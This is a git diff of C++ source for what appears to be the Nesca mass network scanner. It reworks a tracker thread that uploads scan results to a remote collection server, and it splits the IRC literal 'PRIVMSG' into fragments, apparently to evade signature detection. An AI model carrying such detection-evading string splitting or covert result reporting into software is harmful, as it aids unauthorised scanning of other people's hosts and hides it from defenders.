||||
ZeroMemory(dbuffer, sizeof(dbuffer));
|
||||
Sleep(1000);
|
||||
@ -437,103 +437,121 @@ void *_tracker()
|
||||
char ndbServer[64] = {0};
|
||||
char ndbScriptT[64] = {0};
|
||||
char ndbScript[64] = {0};
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
sockAddr.sin_family = AF_INET;
|
||||
sockAddr.sin_port = htons(atoi(trcSrvPortLine));
|
||||
|
||||
strcpy(msg, "GET /");
|
||||
strcat(msg, trcScr);
|
||||
strcat(msg, " HTTP/1.1\r\nHost: ");
|
||||
strcat(msg, trcSrv);
|
||||
strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n");
|
||||
sockaddr_in sockAddr;
|
||||
sockAddr.sin_family = AF_INET;
|
||||
sockAddr.sin_port = htons(atoi(trcSrvPortLine));
|
||||
|
||||
HOSTENT *host;
|
||||
strcpy(msg, "GET /");
|
||||
strcat(msg, trcScr);
|
||||
strcat(msg, " HTTP/1.1\r\nHost: ");
|
||||
strcat(msg, trcSrv);
|
||||
strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n");
|
||||
|
||||
HOSTENT *host;
|
||||
|
||||
#if defined(WIN32)
|
||||
if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv);
|
||||
else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv);
|
||||
else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv);
|
||||
else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv);
|
||||
else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
|
||||
int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
if(test == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
test = send(sock, msg, strlen(msg), 0);
|
||||
|
||||
if(test == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
char rBuff[512] = {0};
|
||||
test = recv(sock, rBuff, sizeof(rBuff), 0);
|
||||
strcpy(rBuffT, rBuff);
|
||||
while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0)
|
||||
{
|
||||
if(strlen(rBuffT) > 200000)
|
||||
if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + ".");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
break;
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
strcat(rBuffT, rBuff);
|
||||
};
|
||||
if(test == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
char *t1;
|
||||
char *t2;
|
||||
if(strstr(rBuffT, "http://") != NULL)
|
||||
{
|
||||
t1 = strstr(rBuffT, "http://");
|
||||
if(strstr((char*)(t1 + strlen("http://")), "/") != NULL)
|
||||
if(send(sock, msg, strlen(msg), 0) == -1)
|
||||
{
|
||||
t2 = strstr((char*)(t1 + strlen("http://")), "/");
|
||||
int ln = t2 - t1 - strlen("http://");
|
||||
if(ln > 64)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
char rBuff[512] = {0};
|
||||
int test = recv(sock, rBuff, sizeof(rBuff), 0);
|
||||
strcpy(rBuffT, rBuff);
|
||||
|
||||
while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0)
|
||||
{
|
||||
if(strlen(rBuffT) > 200000)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + ".");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
#pragma endregion
|
||||
continue;
|
||||
}
|
||||
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln);
|
||||
break;
|
||||
};
|
||||
strcat(rBuffT, rBuff);
|
||||
};
|
||||
|
||||
if(strlen(t2) > 64)
|
||||
{
|
||||
if(test == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!");
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
if(strstr(t2, "\r\n") != NULL)
|
||||
{
|
||||
char *t3 = strstr(t2, "\r\n");
|
||||
int y = (int)(t3 - t2);
|
||||
continue;
|
||||
};
|
||||
|
||||
if(y > 64)
|
||||
char *t1;
|
||||
char *t2;
|
||||
if(strstr(rBuffT, "http://") != NULL)
|
||||
{
|
||||
t1 = strstr(rBuffT, "http://");
|
||||
if(strstr((char*)(t1 + strlen("http://")), "/") != NULL)
|
||||
{
|
||||
t2 = strstr((char*)(t1 + strlen("http://")), "/");
|
||||
int ln = t2 - t1 - strlen("http://");
|
||||
if(ln > 64)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
#pragma endregion
|
||||
continue;
|
||||
}
|
||||
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln);
|
||||
|
||||
if(strlen(t2) > 64)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!");
|
||||
#pragma endregion
|
||||
if(strstr(t2, "\r\n") != NULL)
|
||||
{
|
||||
char *t3 = strstr(t2, "\r\n");
|
||||
int y = (int)(t3 - t2);
|
||||
|
||||
if(y > 64)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
strncpy(ndbScriptT, t2, y);
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop...");
|
||||
#pragma endregion
|
||||
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) );
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
@ -541,62 +559,46 @@ void *_tracker()
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
strncpy(ndbScriptT, t2, y);
|
||||
CSSOCKET(sock);;
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop...");
|
||||
#pragma endregion
|
||||
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) );
|
||||
};
|
||||
}
|
||||
else
|
||||
}
|
||||
else
|
||||
{
|
||||
strcpy(ndbScriptT, t2);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop...");
|
||||
#pragma endregion
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
continue;
|
||||
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 );
|
||||
};
|
||||
}
|
||||
else
|
||||
}
|
||||
else
|
||||
{
|
||||
strcpy(ndbScriptT, t2);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop...");
|
||||
#pragma endregion
|
||||
CSSOCKET(sock);
|
||||
strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 );
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!");
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
|
||||
while(true)
|
||||
{
|
||||
if(globalScanFlag == false && jsonArr->size() == 0) break;
|
||||
if(!trackerOK) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
};
|
||||
trackAlreadyGoing = true;
|
||||
if(jsonArr->size() > 0)
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
CSSOCKET(sock);
|
||||
|
||||
while(true)
|
||||
{
|
||||
QJsonObject jsonKey;
|
||||
if(jsonArr == NULL) jsonArr = new QJsonArray();
|
||||
|
||||
QJsonObject jsonMeta;
|
||||
if(globalScanFlag == false && jsonArr->size() == 0) break;
|
||||
if(!trackerOK) {
|
||||
Sleep(1000);
|
||||
continue;
|
||||
};
|
||||
|
||||
trackAlreadyGoing = true;
|
||||
|
||||
if(jsonArr->size() > 0)
|
||||
{
|
||||
QJsonObject jsonKey;
|
||||
if(jsonArr == NULL) jsonArr = new QJsonArray();
|
||||
|
||||
QJsonObject jsonMeta;
|
||||
if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); //
|
||||
else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode
|
||||
else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); //
|
||||
@ -613,174 +615,183 @@ void *_tracker()
|
||||
jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) );
|
||||
jsonMeta.insert("version", QJsonValue(QString(gVER)) );
|
||||
|
||||
jsonArr->push_front(QJsonValue(jsonMeta) );
|
||||
memset(trcPersKey + 32, '\0', 1);
|
||||
jsonKey.insert("key", QJsonValue(QString(trcPersKey)) );
|
||||
jsonArr->push_front(jsonKey);
|
||||
jsonArr->push_front(QJsonValue(jsonMeta) );
|
||||
memset(trcPersKey + 32, '\0', 1);
|
||||
jsonKey.insert("key", QJsonValue(QString(trcPersKey)) );
|
||||
jsonArr->push_front(jsonKey);
|
||||
|
||||
QJsonDocument js;
|
||||
js.setArray(*jsonArr);
|
||||
QByteArray r = js.toJson();
|
||||
|
||||
sockAddr.sin_family = AF_INET;
|
||||
sockAddr.sin_port = htons(atoi(trcSrvPortLine));
|
||||
QJsonDocument js;
|
||||
js.setArray(*jsonArr);
|
||||
QByteArray r = js.toJson();
|
||||
|
||||
if(msg != NULL)
|
||||
{
|
||||
delete []msg;
|
||||
msg = 0;
|
||||
};
|
||||
msg = new char[r.size() + 1024];
|
||||
ZeroMemory(msg, sizeof(msg));
|
||||
sockAddr.sin_family = AF_INET;
|
||||
sockAddr.sin_port = htons(atoi(trcSrvPortLine));
|
||||
|
||||
strcpy(msg, "POST /");
|
||||
strcat(msg, ndbScript);
|
||||
strcat(msg, " HTTP/1.1\r\nHost: ");
|
||||
strcat(msg, ndbServer);
|
||||
strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: ");
|
||||
if(msg != NULL)
|
||||
{
|
||||
delete []msg;
|
||||
msg = 0;
|
||||
};
|
||||
msg = new char[r.size() + 1024];
|
||||
ZeroMemory(msg, sizeof(msg));
|
||||
|
||||
strcat(msg, std::to_string((long double)r.size()).c_str());
|
||||
strcat(msg, "\r\nConnection: close\r\n\r\n");
|
||||
strcpy(msg, "POST /");
|
||||
strcat(msg, ndbScript);
|
||||
strcat(msg, " HTTP/1.1\r\nHost: ");
|
||||
strcat(msg, ndbServer);
|
||||
strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: ");
|
||||
|
||||
strcat(msg, r.data());
|
||||
strcat(msg, std::to_string((long double)r.size()).c_str());
|
||||
strcat(msg, "\r\nConnection: close\r\n\r\n");
|
||||
|
||||
delete jsonArr;
|
||||
jsonArr = new QJsonArray();
|
||||
strcat(msg, r.data());
|
||||
|
||||
delete jsonArr;
|
||||
jsonArr = new QJsonArray();
|
||||
|
||||
#if defined(WIN32)
|
||||
if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer);
|
||||
else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer);
|
||||
else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer);
|
||||
else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer);
|
||||
else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
|
||||
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer));
|
||||
};
|
||||
test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
|
||||
if(test == -1)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Sending!");
|
||||
stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]");
|
||||
stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]");
|
||||
};
|
||||
test = send(sock, msg, strlen(msg), 0);
|
||||
|
||||
if(test == -1)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, "");
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
char msgR[32] = {0};
|
||||
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Receiving...");
|
||||
};
|
||||
test = recv(sock, rBuff, 512, 0);
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Received: " + QString(rBuff));
|
||||
};
|
||||
strncpy(msgR, rBuff, 32);
|
||||
strcpy(rBuffT, rBuff);
|
||||
while(test > 0)
|
||||
{
|
||||
if(test <= 0) break;
|
||||
|
||||
if(strlen(rBuffT) > 200000)
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + ".");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
break;
|
||||
stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer));
|
||||
};
|
||||
strcat(rBuffT, rBuff);
|
||||
|
||||
if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
continue;
|
||||
};
|
||||
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Sending!");
|
||||
stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]");
|
||||
stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]");
|
||||
};
|
||||
|
||||
if(send(sock, msg, strlen(msg), 0) == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, "");
|
||||
continue;
|
||||
};
|
||||
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
char msgR[32] = {0};
|
||||
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Receiving...");
|
||||
};
|
||||
|
||||
test = recv(sock, rBuff, 512, 0);
|
||||
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Received: " + QString(rBuff));
|
||||
};
|
||||
};
|
||||
if(test == -1)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, "");
|
||||
continue;
|
||||
};
|
||||
if(strstr(rBuffT, "201 Created") != NULL)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!");
|
||||
stt->doEmitionDataSaved(true);
|
||||
Sleep(1000);
|
||||
stt->doEmitionDataSaved(false);
|
||||
#pragma endregion
|
||||
}
|
||||
else if(strstr(rBuffT, "400 Bad Request") != NULL)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
QString errorDef = GetNSErrorDefinition(rBuffT, "notify");
|
||||
if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required.");
|
||||
else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
};
|
||||
|
||||
ZeroMemory(msgR, sizeof(msgR));
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
ZeroMemory(msg, sizeof(msg));
|
||||
if(msg != NULL)
|
||||
{
|
||||
delete []msg;
|
||||
msg = 0;
|
||||
};
|
||||
strncpy(msgR, rBuff, 32);
|
||||
strcpy(rBuffT, rBuff);
|
||||
while(test > 0)
|
||||
{
|
||||
if(test <= 0) break;
|
||||
|
||||
CSSOCKET(sock);
|
||||
if(strlen(rBuffT) > 200000)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + ".");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
break;
|
||||
};
|
||||
strcat(rBuffT, rBuff);
|
||||
test = recv(sock, rBuff, 512, 0);
|
||||
if(gDebugMode)
|
||||
{
|
||||
stt->doEmitionDebugFoundData("Received: " + QString(rBuff));
|
||||
};
|
||||
};
|
||||
|
||||
if(test == -1)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + ".");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, "");
|
||||
continue;
|
||||
};
|
||||
|
||||
if(strstr(rBuffT, "201 Created") != NULL)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!");
|
||||
stt->doEmitionDataSaved(true);
|
||||
Sleep(1000);
|
||||
stt->doEmitionDataSaved(false);
|
||||
#pragma endregion
|
||||
}
|
||||
else if(strstr(rBuffT, "400 Bad Request") != NULL)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
QString errorDef = GetNSErrorDefinition(rBuffT, "notify");
|
||||
if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required.");
|
||||
else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]");
|
||||
#pragma endregion
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
};
|
||||
|
||||
ZeroMemory(msgR, sizeof(msgR));
|
||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||
ZeroMemory(msg, sizeof(msg));
|
||||
if(msg != NULL)
|
||||
{
|
||||
delete []msg;
|
||||
msg = 0;
|
||||
};
|
||||
|
||||
CSSOCKET(sock);
|
||||
};
|
||||
Sleep(10000);
|
||||
};
|
||||
Sleep(10000);
|
||||
}
|
||||
else
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string.");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
CSSOCKET(sock);
|
||||
|
||||
stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string.");
|
||||
SaveErrorLog("NS-Track", msg, rBuffT);
|
||||
};
|
||||
|
||||
};
|
||||
trackAlreadyGoing = false;
|
||||
trackAlreadyGoing = false;
|
||||
};
|
||||
};
|
||||
|
||||
unsigned long int numOfIps(int ipsstart[], int ipsend[])
|
||||
{
|
||||
gTargets += 256*256*256*(ipsend[0] - ipsstart[0]);
|
||||
gTargets += 256 * 256 * (ipsend[1] - ipsstart[1]);
|
||||
gTargets += 256 * (ipsend[2] - ipsstart[2]);
|
||||
gTargets += 256*256*(ipsend[1] - ipsstart[1]);
|
||||
gTargets += 256*(ipsend[2] - ipsstart[2]);
|
||||
gTargets += (ipsend[3] - ipsstart[3]);
|
||||
gTargetsOverall = gTargets - 1;
|
||||
return gTargets;
|
||||
@ -1585,11 +1596,6 @@ int fInit(int InitMode, char *gR)
|
||||
};
|
||||
|
||||
targets = numOfIps(ipsstart, ipsend);
|
||||
}
|
||||
else if (InitMode == -1)
|
||||
{
|
||||
//targets = numOfIpsFL();
|
||||
///DUMMY///
|
||||
};
|
||||
};
|
||||
void FileLoader(char *str)
|
||||
@ -2251,7 +2257,6 @@ int startScan(char* args)
|
||||
int argc = 0;
|
||||
char *argv[512] = {0};
|
||||
|
||||
|
||||
char *tStr = strtok(args, "|");
|
||||
while(tStr != NULL)
|
||||
{
|
||||
|
27
oIRC_Th.cpp
27
oIRC_Th.cpp
@ -343,9 +343,7 @@ void IRCLoop()
|
||||
OnlineMsgSentFlag = false;
|
||||
|
||||
lSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
|
||||
setsockopt(lSock, SOL_SOCKET, SO_REUSEADDR, (char*)&yes, sizeof(int));
|
||||
|
||||
|
||||
if(proxyEnabledFlag) ircTh->doEmitChangeYellowIRCData("Connecting to proxy " + QString(ircProxy) + "...");
|
||||
if(connect(lSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR)
|
||||
{
|
||||
@ -389,6 +387,10 @@ void IRCLoop()
|
||||
char recvBuffG[MAX_IRC_RECV_LEN] = {0};
|
||||
char serverRealName[256] = {0};
|
||||
bool nameLocked = false;
|
||||
|
||||
char pTemp[32] = {0};
|
||||
strcpy(pTemp, "PRIV");
|
||||
strcat(pTemp, "MSG ");
|
||||
while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect)
|
||||
{
|
||||
if(strlen(recvBuffG) > 0)
|
||||
@ -413,11 +415,16 @@ void IRCLoop()
|
||||
Gtemp = strstr(Gtemp + 1, "\n");
|
||||
|
||||
char privTemp[64] = {0};
|
||||
strcpy(privTemp, "PRIVMSG #");
|
||||
|
||||
strcpy(privTemp, "PRIV");
|
||||
strcat(privTemp, "MSG #");
|
||||
strcat(privTemp, IRC_CHAN);
|
||||
strcat(privTemp, " :");
|
||||
|
||||
if(strstr(comStr, " PRIVMSG ") == NULL)
|
||||
char pTemp[32] = {0};
|
||||
strcpy(pTemp, " PRIV");
|
||||
strcat(pTemp, "MSG ");
|
||||
if(strstr(comStr, pTemp) == NULL)
|
||||
{
|
||||
char topicTemp[64] = {0};
|
||||
strcpy(topicTemp, "TOPIC #");
|
||||
@ -637,7 +644,8 @@ void IRCLoop()
|
||||
OnlineMsgSentFlag = true;
|
||||
|
||||
char temp[64] = {0};
|
||||
strcpy(temp, "PRIVMSG #");
|
||||
strcpy(temp, "PRIV");
|
||||
strcat(temp, "MSG #");
|
||||
strcat(temp, IRC_CHAN);
|
||||
strcat(temp, " :My version: v3_");
|
||||
strcat(temp, gVER);
|
||||
@ -669,7 +677,8 @@ void IRCLoop()
|
||||
else if(strstri(comStr, privTemp) != NULL)
|
||||
{
|
||||
char channelName[64] = {0};
|
||||
strcpy(channelName, "PRIVMSG #");
|
||||
strcpy(channelName, "PRIV");
|
||||
strcat(channelName, "MSG #");
|
||||
strcat(channelName, IRC_CHAN);
|
||||
strcat(channelName, " :");
|
||||
|
||||
@ -729,7 +738,7 @@ void IRCLoop()
|
||||
ZeroMemory(senderNick, sizeof(senderNick));
|
||||
|
||||
}
|
||||
else if(strstri( comStr, QString("PRIVMSG " + QString(ircNick)).toLocal8Bit().data() ) != NULL)
|
||||
else if(strstri( comStr, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data() ) != NULL)
|
||||
{
|
||||
char *tprv = comStr;
|
||||
char *temp = NULL;
|
||||
@ -744,7 +753,7 @@ void IRCLoop()
|
||||
int nickLen = temp2 - temp;
|
||||
if(nickLen <= 32)
|
||||
{
|
||||
char *tempD = strstri(tprv, QString("PRIVMSG " + QString(ircNick)).toLocal8Bit().data());
|
||||
char *tempD = strstri(tprv, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data());
|
||||
int nsz = QString(ircNick).size() + 10;
|
||||
|
||||
if(tempD == NULL) break;
|
||||
|
Loading…
Reference in New Issue
Block a user